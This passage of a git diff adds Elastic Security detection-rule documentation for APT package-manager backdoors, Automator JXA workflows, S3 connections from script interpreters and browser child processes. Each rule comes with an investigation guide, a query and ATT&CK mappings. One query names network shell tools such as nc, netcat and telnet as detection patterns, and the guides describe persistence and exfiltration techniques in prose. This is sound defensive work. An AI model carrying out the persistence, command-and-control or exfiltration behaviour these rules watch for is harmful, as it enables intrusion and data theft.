Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious APT Package Manager Execution* + + +The APT package manager is a vital tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by embedding malicious scripts to maintain persistence and control. The detection rule identifies unusual shell or script executions initiated by APT, signaling potential backdoor activities, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific shell or script that was executed with APT as the parent process. Pay attention to the process names and arguments, such as "bash", "dash", "sh", etc., and the presence of the "-c" argument. +- Examine the command-line arguments and scripts executed by the suspicious process to determine if they contain any malicious or unexpected commands. +- Check the parent process details, specifically the APT process, to understand the context in which the shell or script was executed. This includes reviewing any recent package installations or updates that might have triggered the execution. +- Investigate the user account under which the suspicious process was executed to assess if it has been compromised or if it has elevated privileges that could be exploited. +- Correlate the event with other security logs or alerts from the same host to identify any additional indicators of compromise or related suspicious activities. +- Review the system's package management logs to identify any recent changes or anomalies in package installations or updates that could be linked to the suspicious execution. + + +*False positive analysis* + + +- Legitimate administrative scripts executed by system administrators using APT may trigger the rule. To handle this, identify and document routine administrative tasks and create exceptions for these specific scripts or commands. +- Automated system maintenance scripts that use APT for updates or installations can be mistaken for suspicious activity. Review and whitelist these scripts by their specific command patterns or script names. +- Custom software deployment processes that involve APT and shell scripts might be flagged. Analyze these processes and exclude them by defining clear criteria for legitimate deployment activities. +- Security tools or monitoring solutions that interact with APT for scanning or auditing purposes may cause false positives. Verify these tools' operations and exclude their known benign processes from triggering the rule. +- Development environments where developers frequently use APT and shell scripts for testing and building software can lead to alerts. Establish a baseline of normal development activities and exclude these from the detection rule. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes identified in the alert, particularly those initiated by the APT package manager that match the query criteria. +- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications. +- Restore the affected system from a known good backup if malicious modifications are extensive or if the integrity of the system cannot be assured. +- Update all system packages and apply security patches to mitigate vulnerabilities that may have been exploited by the adversary. +- Monitor the affected host and network for any signs of re-infection or further suspicious activity, focusing on the execution of shell scripts and unauthorized network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "apt" and process.args == "-c" and process.name in ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish" + ) and not process.executable == "/usr/lib/venv-salt-minion/bin/python.original" + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name like ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", + "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk" + ) and not ( + ?process.parent.executable like ( + "/run/k3s/containerd*", "/tmp/newroot/*", "/usr/share/debconf/frontend", "/var/tmp/buildah*", "./merged/*", + "./*/vz/root/*", "/usr/bin/adequate" + ) or + process.executable like ("/usr/lib/venv-salt-minion/bin/python.original", "./merged/var/lib/containers/*") or + process.command_line in ( + "python3 /usr/sbin/omv-mkaptidx", "python3 /usr/local/bin/abr-upgrade --upgrade", + "sh -c apt-get indextargets -o Dir::State::lists=/var/lib/apt/lists/ --format='$(FILENAME)' 'Created-By: Packages'", + "/usr/bin/perl /usr/sbin/dpkg-preconfigure --apt", "/bin/sh -e /usr/lib/update-notifier/update-motd-updates-available", + "/usr/bin/python3 /usr/lib/cnf-update-db", "/usr/bin/python3 /usr/bin/apt-listchanges --apt", + "/usr/bin/perl -w /usr/sbin/dpkg-preconfigure --apt", "/bin/sh /usr/lib/needrestart/apt-pinvoke", + "/bin/sh /usr/bin/kali-check-apt-sources", "/bin/sh /usr/lib/needrestart/apt-pinvoke -m u", + "/usr/bin/perl /usr/sbin/needrestart", "/usr/bin/perl -w /usr/bin/apt-show-versions -i", + "/usr/bin/perl -w /usr/bin/apt-show-versions -i", "/usr/bin/perl -w /bin/apt-show-versions -i", + "/usr/bin/perl /bin/adequate --help", "/usr/bin/perl /usr/sbin/needrestart -m u", + "/usr/bin/perl -w /usr/share/debconf/frontend /usr/sbin/needrestart", + "/usr/bin/python3 /sbin/katello-tracer-upload", + "/usr/bin/python3 /usr/bin/package-profile-upload" + ) or + ?process.parent.command_line like ("sh -c if [ -x*", "sh -c -- if [ -x*") or + process.args in ("/usr/sbin/needrestart", "/usr/lib/needrestart/apt-pinvoke", "/usr/share/proxmox-ve/pve-apt-hook", "/usr/bin/dpkg-source") or + ?process.parent.args == "/usr/share/debconf/frontend" + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-network-connection.asciidoc new file mode 100644 index 0000000000..dca02f6bf5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-network-connection.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-suspicious-apt-package-manager-network-connection]] +=== Suspicious APT Package Manager Network Connection + +Detects suspicious network events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious APT Package Manager Network Connection* + + +The APT package manager is crucial for managing software on Debian-based Linux systems. Adversaries may exploit APT by injecting malicious scripts, gaining persistence and control. The detection rule identifies suspicious APT-triggered shell executions followed by unusual network connections, flagging potential backdoor activities and unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed 'apt' and check the command-line arguments for any unusual or unauthorized scripts being executed. +- Investigate the network connection details, focusing on the destination IP address to determine if it is known to be malicious or associated with suspicious activity. Cross-reference with threat intelligence sources. +- Examine the process tree to identify any child processes spawned by the suspicious shell execution, which may provide further insight into the attacker's actions or intentions. +- Check the system logs for any other recent unusual activities or alerts that might correlate with the suspicious APT activity, such as unauthorized user logins or file modifications. +- Assess the system for any signs of persistence mechanisms that may have been established, such as cron jobs or modified startup scripts, which could indicate a backdoor installation. +- If possible, capture and analyze network traffic to and from the destination IP to understand the nature of the communication and identify any data exfiltration or command and control activities. + + +*False positive analysis* + + +- Legitimate administrative scripts executed by APT may trigger the rule if they involve shell commands followed by network connections. Users can create exceptions for known scripts by specifying their paths or hashes. +- Automated system updates or package installations that involve network connections might be flagged. Users should monitor and whitelist these routine operations by identifying the specific processes and network destinations involved. +- Network connections to internal or trusted IP addresses not covered by the existing CIDR exclusions could be mistakenly flagged. Users can expand the CIDR list to include additional trusted IP ranges specific to their environment. +- Use of alternative shell environments or custom scripts that invoke APT with network operations may cause false positives. Users should document and exclude these specific use cases by process name or command-line arguments. +- Non-standard APT configurations or third-party tools that interact with APT and initiate network connections might be misidentified. Users should review and whitelist these tools by their executable paths or process names. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further unauthorized network connections and potential lateral movement within the network. +- Terminate any suspicious processes identified as being executed by the APT package manager, especially those involving shell executions. +- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications. +- Revert any unauthorized changes to the system or software packages by restoring from a known good backup, ensuring the integrity of the system. +- Update all system packages and apply security patches to close any vulnerabilities that may have been exploited by the attacker. +- Monitor network traffic for any further suspicious connections or activities originating from the affected host, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised, ensuring a comprehensive response. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "apt" and process.args == "-c" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.args == "/usr/bin/apt-listbugs apt" + ] by process.entity_id + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) + ) and not process.executable == "/usr/bin/apt-listbugs" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-automator-workflows-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-automator-workflows-execution.asciidoc new file mode 100644 index 0000000000..2aa20647d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-automator-workflows-execution.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-suspicious-automator-workflows-execution]] +=== Suspicious Automator Workflows Execution + +Identifies the execution of the Automator Workflows process followed by a network connection from it's XPC service. Adversaries may drop a custom workflow template that hosts malicious JavaScript for Automation (JXA) code as an alternative to using osascript. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Automator Workflows Execution* + + +Automator, a macOS utility, allows users to automate repetitive tasks through workflows. Adversaries can exploit this by embedding malicious JavaScript for Automation (JXA) in custom workflows, executing harmful scripts. The detection rule identifies this threat by monitoring the Automator process and subsequent network activity, flagging potential misuse when these actions occur in quick succession. + + +*Possible investigation steps* + + +- Review the process execution details for the Automator process on the affected host, focusing on the timestamp and user context to determine if the execution was expected or authorized. +- Examine the network activity associated with the com.apple.automator.runner process to identify any unusual or suspicious external connections, including destination IP addresses and domains. +- Check for any recent changes or additions to Automator workflows on the host, especially those containing JavaScript for Automation (JXA) code, to identify potential malicious modifications. +- Investigate the user account associated with the Automator process execution to determine if there are any signs of compromise or unauthorized access. +- Correlate the alert with other security events or logs from the same host around the same timeframe to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate Automator workflows: Users may have legitimate workflows that trigger network connections, such as automated data uploads or API calls. To handle these, identify and document known safe workflows and create exceptions for them in the detection rule. +- Frequent developer activity: Developers using Automator for testing or development purposes might frequently trigger this rule. Consider excluding specific user accounts or development environments from the rule to reduce noise. +- System maintenance tasks: Some system maintenance or administrative tasks might use Automator workflows that connect to the network. Review and whitelist these tasks if they are verified as non-threatening. +- Third-party applications: Certain third-party applications may use Automator workflows as part of their normal operation. Identify these applications and exclude their processes from the rule if they are deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further malicious activity and potential lateral movement. +- Terminate the Automator process and any associated XPC services, such as "com.apple.automator.runner," to stop the execution of the malicious workflow. +- Conduct a thorough review of the affected system to identify and remove any malicious JavaScript for Automation (JXA) scripts or custom workflow templates that may have been dropped by the adversary. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement additional monitoring on the affected host and similar systems to detect any recurrence of suspicious Automator activity, focusing on process and network activity patterns. +- Update endpoint protection and intrusion detection systems to recognize and block similar threats in the future, leveraging the MITRE ATT&CK framework details for enhanced detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "Automator"] + [network where host.os.type == "macos"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-aws-s3-connection-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-aws-s3-connection-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..55ae2bdb3a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-aws-s3-connection-via-script-interpreter.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-suspicious-aws-s3-connection-via-script-interpreter]] +=== Suspicious AWS S3 Connection via Script Interpreter + +Detects when a script interpreter (osascript, Node.js, Python) with minimal arguments makes an outbound connection to AWS S3 or CloudFront domains. Threat actors have used S3 buckets for both command and control and data exfiltration. Script interpreters connecting to cloud storage should be investigated for potential malicious activity. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious AWS S3 Connection via Script Interpreter* + + +This rule flags macOS script interpreters (AppleScript, Node.js, Python) that repeatedly initiate outbound connections to AWS S3 or CloudFront with little or no command context, a common sign of scripted automation rather than normal app traffic. Attackers often use a short Python or Node one-liner to fetch a second-stage payload from an S3 bucket and then poll the same bucket or a CloudFront-backed URL for commands or to upload stolen data. + + +*Possible investigation steps* + + +- Pivot from the flagged executable to full process ancestry and command-line/script file to determine what code initiated the S3/CloudFront traffic and whether it was launched interactively, by a LaunchAgent/Daemon, or by another app. +- Identify the specific bucket/distribution and object paths involved using available URL/SNI/HTTP telemetry, then validate ownership and reputation by correlating with cloud account inventory, known-good tooling, and threat intel. +- Review concurrent endpoint activity from the same process and user such as file downloads to writable/temp locations, new executable creation, permission changes, or immediate execution of newly written payloads. +- Hunt for follow-on behaviors consistent with C2 or exfiltration including repeated polling intervals, unusually large outbound byte counts, multipart upload patterns, and matching connections from other hosts using the same domain. +- If suspicious, capture and preserve the script contents and related artifacts (Python/Node packages, AppleScript files, launch plist, cron entries) and isolate the host while blocking the destination domain at egress. + + +*False positive analysis* + + +- A developer or build/CI workflow runs Python/Node scripts on macOS to fetch artifacts or dependencies from an organization-owned S3 bucket or CloudFront distribution, producing repeated connections during installs, tests, or packaging. +- A legitimate AppleScript/Python/Node automation (e.g., user logon script, LaunchAgent task, or scheduled job) periodically uploads logs/backups or syncs configuration to S3/CloudFront, resulting in bursty, minimal-argument interpreter network starts that exceed the connection threshold. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network and immediately block the observed S3/CloudFront domain(s) and resolved IPs at egress while allowing access needed for forensics and management. +- Acquire and preserve the initiating script and execution context by collecting the interpreter’s on-disk script/one-liner source, parent process details, relevant LaunchAgents/LaunchDaemons plist files, and any newly written binaries or archives associated with the same time window. +- Eradicate persistence and tooling by removing or disabling the malicious launch plist/cron entries, deleting the identified script and any downloaded payloads, and revoking/quarantining any Python/Node packages or AppleScript components tied to the outbound S3 activity. +- Reset and revoke credentials exposed on the host by rotating the user’s passwords/tokens, removing any AWS keys found in environment variables/config files (e.g., CLI config, application secrets), and invalidating active sessions associated with the user or host. +- Recover by reimaging or restoring the endpoint from a known-good baseline if payload execution or system modification is confirmed, then reintroduce it to the network only after validating no recurring connections to the same S3/CloudFront endpoints. +- Escalate to incident response and cloud security if multiple hosts show the same destination domain or bucket, the script performs uploads or handles sensitive files, or you identify AWS credentials, data staging, or active command polling indicative of C2 or exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.network-* +| WHERE host.os.type == "macos" + AND event.type == "start" + AND (process.name == "osascript" + OR process.name == "node" + OR process.name LIKE "python*") + AND (destination.domain LIKE "s3.*.amazonaws.com" + OR destination.domain LIKE "*.s3*.amazonaws.com" + OR destination.domain LIKE "*.cloudfront.net") +| STATS Esql.connection_count = COUNT(*) + BY process.entity_id, process.executable, user.name, host.name, destination.domain +| WHERE Esql.connection_count >= 20 +| KEEP Esql.*, process.entity_id, process.executable, user.name, host.name, destination.domain + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-browser-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-browser-child-process.asciidoc new file mode 100644 index 0000000000..c93f27237e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-browser-child-process.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-suspicious-browser-child-process]] +=== Suspicious Browser Child Process + +Identifies the execution of a suspicious browser child process. Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x43.html +* https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Browser Child Process* + + +Web browsers are integral to user interaction with the internet, often serving as gateways for adversaries to exploit vulnerabilities. Attackers may execute malicious scripts or commands by spawning child processes from browsers, leveraging scripting languages or command-line tools. The detection rule identifies unusual child processes initiated by browsers on macOS, filtering out known benign activities to highlight potential threats, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the 